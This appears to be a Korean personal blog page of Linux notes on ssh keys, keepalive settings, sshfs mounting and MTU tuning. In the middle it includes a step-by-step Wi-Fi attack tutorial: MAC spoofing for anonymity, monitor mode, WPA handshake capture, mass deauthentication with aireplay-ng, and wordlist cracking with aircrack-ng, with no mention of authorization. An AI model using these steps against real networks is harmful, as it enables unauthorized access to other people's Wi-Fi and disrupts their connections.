Linux - ssh-sshfs

ssh 사용 팁과 sshfs 이용 방법에 대해서 정리한다.

ssh

터미널에서 ssh를 사용하는데 이용하는 구성과 설정을 정리했다.

비밀키 이용

ssh를 사용하는 클라이언트에서 ssh-keygen 으로 비밀키공개키를 생성하고, 접속하는 서버 계정 밑에 클라이언트 공개키를 저장하면 ssh 접속시 비밀번호 응답 없이 처리되어 로그인 할 수 있다.

1. ssh 클라이언트

클라이언트에서 개인 비밀키를 생성한다. ssh-keygen 명령은 기본적으로 비밀키와 공개키 파일을 사용자 홈디렉토리 ~/.ssh 폴더에, 기본 파일이름 id_rsa.pub, id_rsa.prb 파일로 저장한다.

1
(CLIENT)$ ssh-keygen -t rsa -b 4096 -C "USER@localhost"

2. ssh 서버

서버에도 클라이언트와 동일하게 ssh-keygen 명령으로 비밀키와 공개키를 생성한다.

1
(SERVER)$ ssh-keygen -t rsa -b 4096 -C "USER@server"

서버에 공개키 배포

클라이언트에 생성한 공개키 id_rsa.pub 파일을 업로드해서 ./ssh/authorized_keys 파일에 추가해야 한다. 보통 scp 명령으로 복사해서 authorized_keys 파일에 더해주면 된다.

일반적으로 scp 명령으로 복사하고, 서버에 ssh 접속해서 업로드한 공개키 파일을 authorized_keys 파일에 더해준다.

1. 클라이언트에서 복사하기:

1
scp ~/.ssh/id_rsa.pub USER_ID@HOST_NAME:~/client.pub

ssh로 서버에 로그인한다.

2.서버 authorized_keys 붙여넣기:

1
2
ssh userid@SERVER
(SERVER) $ cat client.pub >> .ssh/authorized_keys; rm client.pub

위 2 과정을 아래 명령 한 줄로 복사->붙여넣기를 동시에 할 수 있다.

클라이언트:

1
cat ~/.ssh/id_rsa.pub | ssh <USERNAME>@<IP-ADDRESS> 'cat >> .ssh/authorized_keys'

이제 해당 서버로 로그인해 본다.

ssh config 사용하기

사용자를 위한 ssh 구성을 하려면 ~.ssh/config 설정 파일을 이용한다.

keep alive session

ssh 접속시 옵션을 주어 세션 유지 시간을 지정할 수 있다.

ServerAliveInterval 사용

접속시 ServerAliveInterval=TICK를 사용하면 TICK초 마다 한번씩 ServerAliveInterval를 보낸다.

옵션을 직접 사용하거나 ~/.ssh/config 설정 파일에 지정해 둘 수 있다.

ssh 접속시 -o 옵션으로 지정한다.

1
ssh -o ServerAliveInterval=10 192.168.0.1

~/.ssh/config 이용

사용자의 ssh 설정 파일은 ~/.ssh/config 이다.

1
2
3
4
5
# For all hosts
ServerAliveInterval 20
# For a selection of hosts
Host 192.168.0.1 192.168.1.1
ServerAliveInterval 20

시스템 전체에 적용한다면 /etc/ssh_config 에 (혹은 데비안 계열은 /etc/ssh/ssh_config) 지정해도 된다.


## sshfs

원격 호스트에서 작업중인 소스등을 편집하는데 터미널로 접속해 vim, nano 같은 편집 도구를 이용할 수 있지만, 개발 컴퓨터에서 손에 익은 GUI 개발 도구를에서 개발하고 편집해서, 원격 호스트에서 실행하는 방법을 선호해서 sshfs를 이용하고 있다.

보통 Sublime Text, TextMate 등의 에디터에서 파이썬 등의 프로그래밍 코드를을 작성하고 sshfs를 이용해 원격 디렉토리에 저장하는 방법을 사한다.

설치

Ubuntu/Debian

1
$sudo apt install sshfs

Mac OS X

Mac OS X Fuse 설치

sshfs 설치후 재시동 필요.

Window

다음 설치 파일을 받아 설치한다.
https://win-sshfs.googlecode.com/files/win-sshfs-0.0.1.5-setup.exe

Mac OS X 사용

Mac OS X에서는 OSXFuse를 사용해서 사용자 계정에서 sshfs를 이용한다. 그래서 sudo 명령을 사용하지 않는다.

1
$ sshfs USER_ID@xxx.xxx.xxx.xxx:/ /Volume/remote

sudo 명령을 이용해서 마운트할 경우 마운트 포인트를 찾지 못해서 다음 같은 에러가 난다.

1
2
$ ls
ls: odoomodules: No such file or directory

Ubunto/Debian

1
sudo sshfs USER_ID@xxx.xxx.xxx.xxx:/ /Volume/remote

사용후 언마운트는 다음과 같다.

1
$sudo umount /Volume/remote

마운트 고정: Mac OS X

https://amaral.northwestern.edu/resources/guides/mounting-remote-folder-os-x-over-ssh

파일 /etc/fstab

1
sshfs#USER_ID@xxx.xxx.xxx.xxx:/ /Volume/remote
DS_Store 파일

OS X는 파일을 다룰 때 .DS_Store 파일로 폴더를 지저분하게 한다. 이것을 비활성화 할 수 있다.
마운트할 때 noappledouble 옵션을 사용한다.

1
2
$ mkdir ~/example
$ sshfs user@host:/example ~/example -oauto_cache,reconnect,defer_permissions,negative_vncache,noappledouble,volname=Example

Mounting an OSX SSH Volume using FUSE and SSHFS

ssh authentication

1
sudo sshfs -o IdentityFile=~/.ssh/id_rsa USER_ID@xxx.xxx.xxx.xxx:/ /Volume/remote

자주사용하는 sshfs 명령

1
2
$ mkdir ~/example
$ sshfs user@host:/example ~/example -oauto_cache,reconnect,defer_permissions,negative_vncache,noappledouble,volname=Example

sshfs options

sshfs 구현마다 조금 다르지만 https://linux.die.net/man/1/sshfs 에서 옵션 내용을 조금 살펴보자:

  • -o reconnect : reconnect to server
  • -o delay_connect : delay connection to server
  • o sshfs_sync: synchronous writes
  • -o no_readahead: synchronous reads (no speculative readahead)
  • -o sshfs_debug: print some debugging information
  • -o cache=BOOL: enable caching {yes,no} (default: yes)
  • -o cache_timeout=N: sets timeout for caches in seconds (default: 20)
  • -o cache_X_timeout=N: sets timeout for {stat,dir,link} cache
  • -o workaround=LIST: colon separated list of workarounds
  • none: no workarounds enabled
  • all: all workarounds enabled

cache

느린 네트워크에서는 캐시를 끄고 사용하는게 좋겠다.

  • -o cache=YESNO: enable caching {yes,no} (default: yes)
  • -o cache_timeout=N : sets timeout for caches in seconds (default: 20)
  • -o cache_X_timeout=N : sets timeout for {stat,dir,link} cache

보증된 네트워크에서 암호화 없이 mount

sshd 가 암호화를 지원하는 상황에서 안된다.

안전한 네트워크에서는 Ciphers, Compression 옵션을 사용 ^Blazingly fast sshfs 하면 빠른 속도를 얻을 수 있다.

1
sshfs -o Ciphers=arcfour -o Compression=no server://some/folder /mnt/some_local_folder
  • Ciphers=arcfour : 빠른 암호화 메서드, 다만 안전하지 않다.
  • Compression : ssh 내장 압축 사용하지 않는다.

rsync 에도 사용할 수 있다.

1
rsync -e"ssh -c arcfour -o Compression=no" ...rest of rsync cmd...

TCP Optimization

MTU(Maximum Transmission Unit)

네트워크 인터페이스에서 세그먼트 없이 보낼수 있는 최대 데이터그램 크기 값입니다. 만약 데이터가 MTU 값 이상이라면 여러개의 패킷으로 분할이 될 것입니다. 간단하게 보자면 MTU 는 패킷이 한번에 보낼 수 있는 최대 크기라고 볼 수 있습니다.

이더넷의 MTU 값은 일반적으로 1500 바이트이며 옛날에 모뎀을 통해 접속하던 PPPoE 연결은 1492 바이트를 가지고 있습니다.

MTU 는 각 패킷 프레임안에 최대 전송할 수 있는 값 MSS(Maximum segment size) 가 정의되어 있습니다. 그렇다면 MTU는 MSS + TCP/IP 헤더 크기가 될 것이고 반대로 MSS 는 MTU - 40 바이트가 됩니다. 40 바이트는 IP 와 TCP 헤더 20 바이트씩을 뜻합니다.

Linux

리눅스에서 MTU 값은 ifconfig 명령으로 확인할 수 있다.

1
2
3
4
5
6
7
8
9
$ ifconfig eth0
eth0 Link encap:Ethernet HWaddr b8:27:eb:c8:5f:4b
inet addr:220.121.140.239 Bcast:220.121.140.255 Mask:255.255.255.0
inet6 addr: fe80::ba27:ebff:fec8:5f4b/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1633606 errors:0 dropped:44758 overruns:0 frame:0
TX packets:73808 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:85875027 (81.8 MiB) TX bytes:22615535 (21.5 MiB)

기본 MTU가 1500인데 이 값을 조정하려면 sudo ifconfig 명령으로 할 수 있다.

1
$ sudo ifconfig eth0 mtu 9000

재시동 후에도 지속적으로 MTU 값을 유지하고 싶으면 /etc/network/interfaces 에 명시하면 된다.

1
2
3
4
5
auto eth0
iface eth0 inet static
address 192.168.0.2
netmask 255.255.255.0
mtu 9000
링크

MTU

SSHFS-MUX

http://www.linux-magazine.com/Issues/2014/165/SSHFS-MUX

Error

에러 mount_osxfuse: the file system is not available (255)

There appears to be a problem loading the KEXT installed by the regular osxfuse Homebrew package. You can use brew cask to install the official FUSE for OS X build from their own DMG:

1
2
3
brew rm osxfuse
brew install caskroom/cask/brew-cask
brew cask install osxfuse

참조

Wi-Fi hacking

Kali linux 를 이용해 해킹.

준비

Virtual box, vmware 를 사용해서 가상 리눅스를 설치한다.

Kali linux 설치

https://www.kali.org

설정

먼저 VB에 kali 를 설치한다. 오에스를 시작하기 전에 가상머신 설정으로 가서 Network 탭에서 ‘Bridged Adapter’ 를 선택해서 내장 와이파이 어뎁터를 쓸 수 있도록 한다.

와이파이 라우터에 접속시 mac address가 기록으로 남기 때문에, 익명으로 타 와이파이에 접속하려면 자신의 Wifi 장치의 mac address를 숨기는 것이 현명하다.

Hide identify: mac address

네트워크 장치가 생산시 등록된 장치 식별 주소이다. 오에스가 하드웨어 장치에서 읽게 된다. 와이파이 네트워크에 연결한 컴퓨터를 식별해서 패킷을 전송하기 위해서 패킷에는 mac address가 목적지 장치로 포함되어 있다. 이 주소가 아닌 컴퓨터는 패킷을 무시하게 된다.

수동으로 mac address 변경하기

http://linuxg.net/3-ways-to-temporary-change-the-mac-address-in-linux-and-unix/

1
2
3
$ sudo ip link show wlan0
3: wlan0: <BROADCAST,MULTICAST> mtu 1500 qdisc mq state DOWN mode DORMANT group default qlen 1000
link/ether 18:36:55:8b:35:99 brd ff:ff:ff:ff:ff:ff

systemd 이용 자동으로 mac address 변경하기

macchanger

맥 주소는 컴퓨터 시작시 오에스에서 메모리에 적재한다. 이렇게 적재한 mac address를 숨기는 것이다. 리눅스에서는 macchanger 를 사용할 수 있다. [^1]

1
$ sudo apt install macchanger

설치시 아래 같이 설정 관리자가 컴퓨터 시작시 자동으로 맥 주소 변경을 할지 묻는다.

맥 주소를 변경하기 위해서 와이파이 인터페이스를 내려준다.

1
$ sudo ifconfig wlan0 down

인터페이스를 비활성화 하고 다음 명령으로 맥 주소를 변경한다

1
$ sudo macchanger --random wlan0

ifconfig wlan0 hw ether 7c:c7:09:de:2b:81 and up again?

핸드쉐이크

와이파이 패킷을 분석하기 위해서는 먼저 handshake 패킷을 캡쳐해야 한다. 핸드쉐이크는 컴퓨터와 무선 네트워크의 연결로 네트워크 패킷과 컴퓨터 패킷이 각각 만날때이다. 핸드쉐이크에서 와이파이 범위 안에 있을 필요는 없다. 핸드웨이크로 패스워드와 와이파이 이름을 가로챌 수 있다.

무선 모드

이제 와이파이 라우터에서 돌아 다니는 모든 패킷을 캡처한다. 여기서 맥 주소로 패킷이 전송된다면 어떻게 내 맥주소에서 모든 패킷을 캡쳐할 수 있는지 궁금할 수 있다. 내 맥 주소는 내가 패킷을 정확한 목적지에 전송할 때 사용한다, 여기서는 내 업뎁터로 수신되는 모든 패킷을 사용한다. 이것은 managed mode 라는 기본 어뎁터 모드로 가능하다.

1
2
3
4
$ iwconfig wlan0
wlan0 unassociated Nickname:"<WIFI@REALTEK>"
Mode:Managed Frequency=2.412 GHz Access Point: Not-Associated
Sensitivity:0/0

모니터 모드에서는 수신되는 모든 패킷을 감지할 수 있다. 아래 같이 모니터 모드로 변환한다.
이제 kali 리눅스에서 다음같이 모드를 모니터링 모드로 변경한다.

1
2
3
4
$ sudo ifconfig wlan0 down
$ sudo iwconfig wlan0 mode monitor
$ sudo iwconfig wlan0 up
$ sudo iwconfig wlan0

일반 리눅스는…

1
2
3
$ sudo iwconfig wlan0 mode monitor
Error for wireless request "Set Mode" (8B06) :
SET failed on device wlan0 ; Operation not permitted.

AP 검색하기

1
$ iwlist wlan0 scan

캡쳐하기

핸드쉐이크는 매번 대상 AP에 관련한 클라이언트에서 전송된다. 그러므로 무선의 모든 패킷을 캡쳐한다. 여기서는 airodump-ng 를 사용한다. 이것은 네트어크에 전송되는 패킷을 찾아내고 캡쳐할 수 있다. 다음 같이 사용한다.

airodump-ng –channel [ch] –bssid [id] –write [file_name] [interface]

먼저 airodump-ng 를 목적 AP에서 실행한다.

1
airodump-ng --channel 6 --bssid 11:22:33:44:55:66 --write outwlan0mon

이제 클라이언트가 접속하기를 대기한다.

연결된 클라이언트를 인증거부를 할 수 있다. 인증거부후 자동으로 연결이 재개된다.

aireplay-ng –deauth [number of deauth packets] –a [AP] -c [target] [interface]

1
$ aireplay-ng --deauth 1000 --a 11:22:33:44:55:66 -c 00:aa:11:22:33 mon0

이제 핸드쉐이크가 캡쳐되면 airodump-ng 의 오른쪽 위에 WPA Handshake 가 표시된다. 아래 그림같이 deauth 패킷을 전송해 본다.

패스워드 크랙

핸드쉐이크를 얻었으면 패스워드를 얻기 위해서 문자 목록을 사용할 수 있다. 아래 사이트에서 받아 보자:

http://www.hackreports.com/2013/05/gigest-password-cracking-wordlist-with.html

https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm

이제 받은 패스워드 목록을 aircrack-ng 를 사용해 키를 가로챌 수 있다. 이것은 패스워드 목록에 있는 패스워드를 essid 에 pbkdf2 알고리즘을 사용해 PMK (Pairwise Master Key) 를 계산한다.

aircrack-ng [handshake file] -w [wordlist] [interface]

1
$ aircrack-ng is-01.cap -w list wlan0mon

다음은 aircrack-ng 결과이다.

이것으로 WPA 무선 네트워크를 해킹했다.

참조

[^1]: MAC address spoofing

ssh 관련 사용 옵션

SSH Usages

Ssh timeout

ssh를 사용시 접속 시간이 지나면 자동 끎김을 막아주는 옵션들이 있다.

운영하는 서버는 보안상 alive 메시지를 모두 막아 두었다.
다만, ssh 접속시 ServerAliveInterval 을 사용해서 클라이언트가 alive 메시지를 서버에 있다.

sshd

sshd 데몬은 클라이언트 접속후 sshd_config에 구성한 설정데로 alive 메시지를 클라이언트에 주고 받아 접속 시간을 연장할 수 있다. 아래 그림 [^1]

1
2
3
4
5
6
7
8
9
10
11
# alive 메시지 사용 결정
#TCPKeepAlive yes # 기본 yes.

# 클라이언트가 살아있는지 확인하는 간격.
ClientAliveInterval 60 # 기본 0.
# 클라이언트에서 응답이 없을 때 메시지를 보내는 횟수
ClientAliveCountMax 3 # 확인 횟수

# Login Prompt에서 사용자 입력을 기다리는 시간을 초 단위로 입력.
LoginGraceTime 20 #( 1m: 기본 1분지정, 0은 시간제한없음)

ssh 옵션

ssh 사용시 /etc/ssh/ssh_config 구성 파일에 있는 ServerAliveInterval 옵션을 사용하면 ssh 접속시 alive 메시지를 서버가 클라이인트에게 주어진 시간 간격으로 보낸다.

[그림. ServerAliveInterval]

ssh_config 파일에 구성하거나 ssh 사용시 -o ServerAliveInterval 옵션을 사용하는 방법 두 가지가 있다.

ssh -o

ServerAliveInterval option every time you’re connecting to a server by using the -o ServerAliveInterval= prefix as the following example;

1
ssh -o ServerAliveInterval=300 user@example.com

key파일 사용

키파일 이용

키파일을 원하는 위치에 복사하고 퍼미션을 400으로 조정합니다. (저는 ~/Desktop/key/로 정했습니다.)

1
$ chmod 400 ~/Desktop/key/keyfile.pem

터미널에서 키파일 옵션을 추가한 명령으로 ssh 접속

1
$ ssh -i ~/Desktop/key/keyfile.pem ec2-user@[서버 아이피 또는 도메인]

포트가 다르다면

1
$ ssh -i ~/Docments/cloud-server.pem root@220.11.11.173 -p 8888

서버 키 생성

서버에도 클라이언트와 동일하게 ssh-keygen 명령으로 비밀키와 공개키를 생성한다.

1
(SERVER)$ ssh-keygen -t rsa -b 4096 -C "USER@server"

scp -i /Documents/ncloud-key/qkbooo-ncloud.pem ~/.ssh/id_rsa.pub root@210.89.190.173:/ -p 2525

1
2
ssh userid@SERVER
(SERVER) $ cat client.pub >> .ssh/authorized_keys; rm client.pub

포트변경 사용

rsync 포트 사용

rsync에서 다른 ssh 포트를 사용하고 있을 경우 아래와 같이 옵션을 붙여준다.

1
$ rsync -e 'ssh -p 0000'

혹은

1
rsnyc --rsh'=ssh -p0000'

참조

[^1]: How to keep your ssh connection